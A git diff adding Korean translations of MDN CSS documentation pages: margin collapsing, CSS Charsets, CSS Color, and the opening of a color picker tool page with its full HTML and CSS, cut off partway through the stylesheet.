diff --git a/files/ko/web/css/css_box_model/mastering_margin_collapsing/index.html b/files/ko/web/css/css_box_model/mastering_margin_collapsing/index.html
new file mode 100644
index 0000000000..1dd8b04888
--- /dev/null
+++ b/files/ko/web/css/css_box_model/mastering_margin_collapsing/index.html
@@ -0,0 +1,82 @@
+---
+title: 여백 상쇄 정복
+slug: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing
+tags:
+  - CSS
+  - CSS Box Model
+  - Guide
+  - Reference
+translation_of: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing
+---
+<div>{{CSSRef}}</div>
+
+<p>여러 블록의 <a href="/ko/docs/Web/CSS/margin-top">위쪽</a> 및 <a href="/ko/docs/Web/CSS/margin-bottom">아래쪽</a> 바깥 여백(마진)은 경우에 따라 제일 큰 여백의 크기를 가진 단일 여백으로 결합(상쇄)되곤 합니다. 이런 동작을 <strong>여백 상쇄</strong>라고 부릅니다. 단, <a href="/ko/docs/Web/CSS/float">플로팅</a> 요소와 <a href="/ko/docs/Web/CSS/position#absolute">절대 위치를 지정</a>한 요소의 여백은 절대 상쇄되지 않습니다.</p>
+
+<p>여백 상쇄는 다음과 같은 세 가지 기본 상황에 발생합니다.</p>
+
+<dl>
+ <dt>인접 형제</dt>
+ <dd>인접 형제 요소간의 바깥 여백은 서로 상쇄됩니다. (단, 뒤쪽 형제가 플로팅을 <a href="/ko/docs/Web/CSS/clear">해제</a>해야 하는 경우는 예외)</dd>
+ <dt>부모와 자손을 분리하는 콘텐츠 없음</dt>
+ <dd>부모 블록에 테두리, 안쪽 여백, 인라인 부분이 없고 블록 서식 맥락이 생성되지 않았으며 부모의 {{cssxref("margin-top")}}을 자손의 <code>margin-top</code>과 분리할 <a href="/ko/docs/Web/CSS/clear">권한</a>이 없는 경우, 또는, 부모 블록에 테두리, 안쪽 여백, 인라인 콘텐츠가 없으며 부모의 {{cssxref("margin-bottom")}}과 자손의 <code>margin-bottom</code>을 분리할 {{cssxref("height")}}, {{cssxref("min-height")}}, {{cssxref("max-height")}}가 존재하지 않는 경우 부모와 자손의 여백이 상쇄됩니다. 상쇄된 여백은 부모 블록 바깥에 위치합니다.</dd>
+ <dt>빈 블록</dt>
+ <dd>테두리, 안쪽 여백, 인라인 콘텐츠, {{cssxref("height")}}, {{cssxref("min-height")}}, {{cssxref("max-height")}}가 없으면 블록의 {{cssxref("margin-top")}}과 {{cssxref("margin-bottom")}}이 서로 상쇄됩니다.</dd>
+</dl>
+
+<p>다음은 참고할만한 사항입니다.</p>
+
+<ul>
+ <li>(세 개 이상의 여백 사이의) 더 복잡한 여백 상쇄는 위의 기본 상황이 서로 결합되어 발생합니다.</li>
+ <li>위의 규칙은 바깥 여백이 0이어도 적용되므로, 두 번째 규칙을 만족하는 경우 부모의 바깥 여백이 0이건 아니건 자손의 바깥 여백은 부모 밖으로 나오게 됩니다.</li>
+ <li>음수 값을 가진 바깥 여백을 포함할 경우, 상쇄된 여백의 크기는 제일 큰 양수 여백과 제일 작은(음의 방향으로, 절댓값이 제일 큰) 여백의 합이 됩니다.</li>
+ <li>모든 바깥 여백이 음수 값을 가질 경우, 상쇄된 여백의 크기는 제일 작은(음의 방향으로, 절댓값이 제일 큰) 여백의 크기가 됩니다. 인접 요소와 중첩 요소 모두에 적용됩니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;The bottom margin of this paragraph is collapsed …&lt;/p&gt;
+&lt;p&gt;… with the top margin of this paragraph, yielding a margin of &lt;code&gt;1.2rem&lt;/code&gt; in between.&lt;/p&gt;
+
+&lt;div&gt;This parent element contains two paragraphs!
+  &lt;p&gt;This paragraph has a &lt;code&gt;.4rem&lt;/code&gt; margin between it and the text above.&lt;/p&gt;
+  &lt;p&gt;My bottom margin collapses with my parent, yielding a bottom margin of &lt;code&gt;2rem&lt;/code&gt;.&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;p&gt;I am &lt;code&gt;2rem&lt;/code&gt; below the element above.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">div {
+  margin: 2rem 0;
+  background: lavender;
+}
+
+p {
+  margin: .4rem 0 1.2rem 0;
+  background: yellow;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 'auto', 350)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS2.1", "box.html#collapsing-margins", "margin collapsing")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_charsets/index.html b/files/ko/web/css/css_charsets/index.html
new file mode 100644
index 0000000000..484285591d
--- /dev/null
+++ b/files/ko/web/css/css_charsets/index.html
@@ -0,0 +1,44 @@
+---
+title: CSS Charsets
+slug: Web/CSS/CSS_Charsets
+tags:
+  - CSS
+  - CSS Charsets
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Charsets
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Charsets</strong>는 스타일 시트에서 사용하는 문자 집합을 정의할 수 있는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="규칙">@규칙</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@charset")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#x57', '@charset')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<div id="compat-mobile"> </div>
diff --git a/files/ko/web/css/css_color/index.html b/files/ko/web/css/css_color/index.html
new file mode 100644
index 0000000000..06d7418de0
--- /dev/null
+++ b/files/ko/web/css/css_color/index.html
@@ -0,0 +1,110 @@
+---
+title: CSS Color
+slug: Web/CSS/CSS_Color
+tags:
+  - CSS
+  - CSS Colors
+  - HTML Colors
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Color
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS 색상</strong>은 색상, 색상 유형, 색상 혼합, 투명도 및 이러한 색상 효과를 HTML에 적용하는 방법을 다루는 CSS 모듈입니다. {{cssxref("&lt;color&gt;")}} 값을 취하는 모든 CSS 속성이 이 모듈에 속하는건 아니지만 의존성은 가지고 있습니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("color-adjust")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+</ul>
+</div>
+
+<h3 id="자료형">자료형</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;color&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Applying_color">CSS를 사용하여 HTML 요소에 색상 적용하기</a></dt>
+ <dd>CSS를 사용하여 다양한 유형의 콘텐츠에 색상을 적용하는 방법에 대한 안내서입니다. 모든 색상 관련 CSS 속성이 적용됩니다.​</dd>
+</dl>
+
+<h2 id="도구">도구</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Colors/Color_picker_tool">색상 선택 도구</a></dt>
+ <dd>이 도구를 사용하면 맞춤 색상을 쉽게 만들고 조정하고 실험 할 수 있습니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Colors')}}</td>
+   <td>{{Spec2('CSS3 Colors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<h3 id="color_속성"><code>color</code> 속성</h3>
+
+<div>
+
+
+<p>{{Compat("css.properties.color")}}</p>
+
+<h3 id="color-adjust_속성"><code>color-adjust</code> 속성</h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.color-adjust")}}</p>
+
+<h3 id="opacity_속성"><code>opacity</code> 속성</h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.opacity")}}</p>
+</div>
+</div>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>다른 사양의 일부 색상 관련 속성 : {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, and {{cssxref("column-rule-color")}}</li>
+ <li>CSS에서는 그레이디언트가 색상이 아니라 <a href="/ko/docs/Web/CSS/CSS_Images">이미지</a>입니다.</li>
+</ul>
diff --git a/files/ko/web/css/css_colors/color_picker_tool/index.html b/files/ko/web/css/css_colors/color_picker_tool/index.html
new file mode 100644
index 0000000000..f5437c05b5
--- /dev/null
+++ b/files/ko/web/css/css_colors/color_picker_tool/index.html
@@ -0,0 +1,3238 @@
+---
+title: Color picker tool
+slug: Web/CSS/CSS_Colors/Color_picker_tool
+translation_of: Web/CSS/CSS_Colors/Color_picker_tool
+---
+<div style="display: none;">
+<h2 id="ColorPicker_Tool" name="ColorPicker_Tool">ColorPicker tool</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">    &lt;div id="container"&gt;
+        &lt;div id="palette" class="block"&gt;
+            &lt;div id="color-palette"&gt;&lt;/div&gt;
+            &lt;div id="color-info"&gt;
+                &lt;div class="title"&gt; CSS Color &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="picker" class="block"&gt;
+            &lt;div class="ui-color-picker" data-topic="picker" data-mode="HSL"&gt;&lt;/div&gt;
+            &lt;div id="picker-samples" sample-id="master"&gt;&lt;/div&gt;
+            &lt;div id="controls"&gt;
+                &lt;div id="delete"&gt;
+                    &lt;div id="trash-can"&gt;&lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div id="void-sample" class="icon"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="canvas" data-tutorial="drop"&gt;
+            &lt;div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index"
+                data-max="20" data-sensivity="10"&gt;&lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/*
+ * COLOR PICKER TOOL
+ */
+
+.ui-color-picker {
+	width: 420px;
+	margin: 0;
+	border: 1px solid #DDD;
+	background-color: #FFF;
+	display: table;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-color-picker .picking-area {
+	width: 198px;
+	height: 198px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: relative;
+	float: left;
+	display: table;
+}
+
+.ui-color-picker .picking-area:hover {
+	cursor: default;
+}
+
+/* HSV format - Hue-Saturation-Value(Brightness) */
+.ui-color-picker .picking-area {
+	background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
+
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-o-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+
+	background-color: #F00;
+}
+
+/* HSL format - Hue-Saturation-Lightness */
+.ui-color-picker[data-mode='HSL'] .picking-area {
+	background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background-color: #F00;
+}
+
+.ui-color-picker .picker {
+	width: 10px;
+	height: 10px;
+	border-radius: 50%;
+	border: 1px solid #FFF;
+	position: absolute;
+	top: 45%;
+	left: 45%;
+}
+
+.ui-color-picker .picker:before {
+	width: 8px;
+	height: 8px;
+	content: "";
+	position: absolute;
+	border: 1px solid #999;
+	border-radius: 50%;
+}
+
+.ui-color-picker .hue,
+.ui-color-picker .alpha {
+	width: 198px;
+	height: 28px;
+	margin: 5px;
+	border: 1px solid #FFF;
+	float: left;
+}
+
+.ui-color-picker .hue {
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png") center;
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -ms-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -o-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+}
+
+.ui-color-picker .alpha {
+	border: 1px solid #CCC;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+}
+
+.ui-color-picker .alpha-mask {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png");
+}
+
+.ui-color-picker .slider-picker {
+	width: 2px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+}
+
+/* input HSV and RGB */
+
+.ui-color-picker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+.ui-color-picker .info * {
+	float: left;
+}
+
+.ui-color-picker .input {
+	width: 64px;
+	margin: 5px 2px;
+	float: left;
+}
+
+.ui-color-picker .input .name {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+.ui-color-picker .input input {
+	width: 30px;
+	height: 18px;
+	margin: 0;
+	padding: 0;
+	border: 1px solid #DDD;
+	text-align: center;
+	float: right;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+.ui-color-picker .input[data-topic="lightness"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="value"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="lightness"] {
+	display: block;
+}
+
+.ui-color-picker .input[data-topic="alpha"] {
+	margin-top: 10px;
+	width: 93px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] &gt; .name {
+	width: 60px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] &gt; input {
+	float: right;
+}
+
+.ui-color-picker .input[data-topic="hexa"] {
+	width: auto;
+	float: right;
+	margin: 6px 8px 0 0;
+}
+
+.ui-color-picker .input[data-topic="hexa"] &gt; .name {
+	display: none;
+}
+
+.ui-color-picker .input[data-topic="hexa"] &gt; input {
+	width: 90px;
+	height: 24px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/* Preview color */
+.ui-color-picker .preview {
+	width: 95px;
+	height: 53px;
+	margin: 5px;
+	margin-top: 10px;
+	border: 1px solid #DDD;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+	float: left;
+	position: relative;
+}
+
+.ui-color-picker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	top: 0;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .preview-color {
+	width: 100%;
+	height: 100%;
+	background-color: rgba(255, 0, 0, 0.5);
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .switch_mode {
+	width: 10px;
+	height: 20px;
+	position: relative;
+	border-radius: 5px 0 0 5px;
+	border: 1px solid #DDD;
+	background-color: #EEE;
+	left: -12px;
+	top: -1px;
+	z-index: 1;
+	transition: all 0.5s;
+}
+
+.ui-color-picker .switch_mode:hover {
+	background-color: #CCC;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider &gt; input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * COLOR PICKER TOOL
+ */
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	box-shadow: 0 0 5px 0 #999;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+
+}
+
+/**
+ * Resize Handle
+ */
+.resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url('https://mdn.mozillademos.org/files/6083/resize.png') center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+[data-resize='both']:hover {
+	cursor: nw-resize !important;
+}
+
+[data-resize='width']:hover {
+	cursor: w-resize !important;
+}
+
+[data-resize='height']:hover {
+	cursor: n-resize !important;
+}
+
+[data-hidden='true'] {
+	display: none;
+}
+
+[data-collapsed='true'] {
+	height: 0 !important;
+}
+
+.block {
+	display: table;
+}
+
+
+/**
+ * 	Container
+ */
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	display: table;
+}
+
+/**
+ * 	Picker Zone
+ */
+
+#picker {
+	padding: 10px;
+	width: 980px;
+}
+
+.ui-color-picker {
+	padding: 3px 5px;
+	float: left;
+	border-color: #FFF;
+}
+
+.ui-color-picker .switch_mode {
+	display: none;
+}
+
+.ui-color-picker .preview-color:hover {
+	cursor: move;
+}
+
+/**
+ * Picker Container
+ */
+
+#picker-samples {
+	width: 375px;
+	height: 114px;
+	max-height: 218px;
+	margin: 0 10px 0 30px;
+	overflow: hidden;
+	position: relative;
+	float: left;
+
+	transition: all 0.2s;
+}
+
+#picker-samples .sample {
+	width: 40px;
+	height: 40px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: absolute;
+	float: left;
+	transition: all 0.2s;
+}
+
+#picker-samples .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#picker-samples .sample[data-active='true'] {
+	border-color: #999;
+}
+
+#picker-samples .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#picker-samples #add-icon {
+	width: 100%;
+	height: 100%;
+	position: relative;
+	box-shadow: inset 0px 0px 2px 0px #DDD;
+}
+
+#picker-samples #add-icon:hover {
+	cursor: pointer;
+	border-color: #DDD;
+	box-shadow: inset 0px 0px 5px 0px #CCC;
+}
+
+#picker-samples #add-icon:before,
+#picker-samples #add-icon:after {
+	content: "";
+	position: absolute;
+	background-color: #EEE;
+	box-shadow: 0 0 1px 0 #EEE;
+}
+
+#picker-samples #add-icon:before {
+	width: 70%;
+	height: 16%;
+	top: 42%;
+	left: 15%;
+}
+
+#picker-samples #add-icon:after {
+	width: 16%;
+	height: 70%;
+	top: 15%;
+	left: 42%;
+}
+
+#picker-samples #add-icon:hover:before,
+#picker-samples #add-icon:hover:after {
+	background-color: #DDD;
+	box-shadow: 0 0 1px 0 #DDD;
+}
+
+/**
+ * 	Controls
+ */
+
+#controls {
+	width: 110px;
+	padding: 10px;
+	float: right;
+}
+
+#controls #picker-switch {
+	text-align: center;
+	float: left;
+}
+
+#controls .icon {
+	width: 48px;
+	height: 48px;
+	margin: 10px 0;
+	background-repeat: no-repeat;
+	background-position: center;
+	border: 1px solid #DDD;
+	display: table;
+	float: left;
+}
+
+#controls .icon:hover {
+	cursor: pointer;
+}
+
+#controls .picker-icon {
+	background-image: url('https://mdn.mozillademos.org/files/6081/picker.png');
+}
+
+#controls #void-sample {
+	margin-right: 10px;
+	background-image: url('https://mdn.mozillademos.org/files/6087/void.png');
+	background-position: center left;
+}
+
+#controls #void-sample[data-active='true'] {
+	border-color: #CCC;
+	background-position: center right;
+}
+
+#controls .switch {
+	width: 106px;
+	padding: 1px;
+	border: 1px solid #CCC;
+	font-size: 14px;
+	text-align: center;
+	line-height: 24px;
+	overflow: hidden;
+	float: left;
+}
+
+#controls .switch:hover {
+	cursor: pointer;
+}
+
+#controls .switch &gt; * {
+	width: 50%;
+	padding: 2px 0;
+	background-color: #EEE;
+	float: left;
+}
+
+#controls .switch [data-active='true'] {
+	color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-color: #777;
+}
+
+/**
+ * 	Trash Can
+ */
+
+#delete {
+	width: 100%;
+	height: 94px;
+	background-color: #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+
+	text-align: center;
+	color: #777;
+
+	position: relative;
+	float: right;
+}
+
+#delete #trash-can {
+	width: 80%;
+	height: 80%;
+	border: 2px dashed #FFF;
+	border-radius: 5px;
+	background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center;
+
+	position: absolute;
+	top: 10%;
+	left: 10%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	transition: all 0.2s;
+}
+
+#delete[drag-state='enter'] {
+	background-color: #999;
+}
+
+/**
+ * 	Color Theme
+ */
+
+#color-theme {
+	margin: 0 8px 0 0;
+	border: 1px solid #EEE;
+	display: inline-block;
+	float: right;
+}
+
+#color-theme .box {
+	width: 80px;
+	height: 92px;
+	float: left;
+}
+
+/**
+ * Color info box
+ */
+#color-info {
+	width: 360px;
+	float: left;
+}
+
+#color-info .title {
+	width: 100%;
+	padding: 15px;
+	font-size: 18px;
+	text-align: center;
+	background-image: url('https://mdn.mozillademos.org/files/6071/color-wheel.png');
+	background-repeat:no-repeat;
+	background-position: center left 30%;
+}
+
+#color-info .copy-container {
+	position: absolute;
+	top: -100%;
+}
+
+#color-info .property {
+	min-width: 280px;
+	height: 30px;
+	margin: 10px 0;
+	text-align: center;
+	line-height: 30px;
+}
+
+#color-info .property &gt; * {
+	float: left;
+}
+
+#color-info .property .type {
+	width: 60px;
+	height: 100%;
+	padding: 0 16px 0 0;
+	text-align: right;
+}
+
+#color-info .property .value {
+	width: 200px;
+	height: 100%;
+	padding: 0 10px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 16px;
+	color: #777;
+	text-align: center;
+	background-color: #FFF;
+	border: none;
+}
+
+#color-info .property .value:hover {
+	color: #37994A;
+}
+
+#color-info .property .value:hover + .copy {
+	background-position: center right;
+}
+
+#color-info .property .copy {
+	width: 24px;
+	height: 100%;
+	padding: 0 5px;
+	background-color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6073/copy.png');
+	background-repeat: no-repeat;
+	background-position: center left;
+	border-left: 1px solid #EEE;
+	text-align: right;
+	float: left;
+}
+
+#color-info .property .copy:hover {
+	background-position: center right;
+}
+
+
+/**
+ * 	Color Palette
+ */
+
+#palette {
+	width: 1000px;
+	padding: 10px 0;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	background-color: #EEE;
+	color: #777;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#color-palette {
+	width: 640px;
+	font-family: Arial, Helvetica, sans-serif;
+	color: #777;
+	float: left;
+}
+
+#color-palette .container {
+	width: 100%;
+	height: 50px;
+	line-height: 50px;
+	overflow: hidden;
+	float: left;
+	transition: all 0.5s;
+}
+
+#color-palette .container &gt; * {
+	float: left;
+}
+
+#color-palette .title {
+	width: 100px;
+	padding: 0 10px;
+	text-align: right;
+	line-height: inherit;
+}
+
+#color-palette .palette {
+	width: 456px;
+	height: 38px;
+	margin: 3px;
+	padding: 3px;
+	display: table;
+	background-color: #FFF;
+}
+
+#color-palette .palette .sample {
+	width: 30px;
+	height: 30px;
+	margin: 3px;
+	position: relative;
+	border: 1px solid #DDD;
+	float: left;
+	transition: all 0.2s;
+}
+
+#color-palette .palette .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#color-palette .controls {
+}
+
+#color-palette .controls &gt; * {
+	float: left;
+}
+
+#color-palette .controls &gt; *:hover {
+	cursor: pointer;
+}
+
+#color-palette .controls .lock {
+	width: 24px;
+	height: 24px;
+	margin: 10px;
+	padding: 3px;
+	background-image: url('https://mdn.mozillademos.org/files/6077/lock.png');
+	background-repeat: no-repeat;
+	background-position: bottom right;
+}
+
+#color-palette .controls .lock:hover {
+	/*background-image: url('images/unlocked-hover.png');*/
+	background-position: bottom left;
+}
+
+#color-palette .controls .lock[locked-state='true'] {
+	/*background-image: url('images/locked.png');*/
+	background-position: top left ;
+}
+
+#color-palette .controls .lock[locked-state='true']:hover {
+	/*background-image: url('images/lock-hover.png');*/
+	background-position: top right;
+}
+
+/**
+ * Canvas
+ */
+
+#canvas {
+	width: 100%;
+	height: 300px;
+	min-height: 250px;
+	border-top: 1px solid #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	position: relative;
+	float: left;
+}
+
+#canvas[data-tutorial='drop'] {
+	text-align: center;
+	font-size: 30px;
+	color: #777;
+}
+
+#canvas[data-tutorial='drop']:before {
+	content: "Drop colors here to compare";
+	width: 40%;
+	padding: 30px 9% 70px 11%;
+
+	background-image: url('https://mdn.mozillademos.org/files/6075/drop.png');
+	background-repeat: no-repeat;
+	background-position: left 35px top 60%;
+
+	text-align: right;
+
+	border: 3px dashed rgb(221, 221, 221);
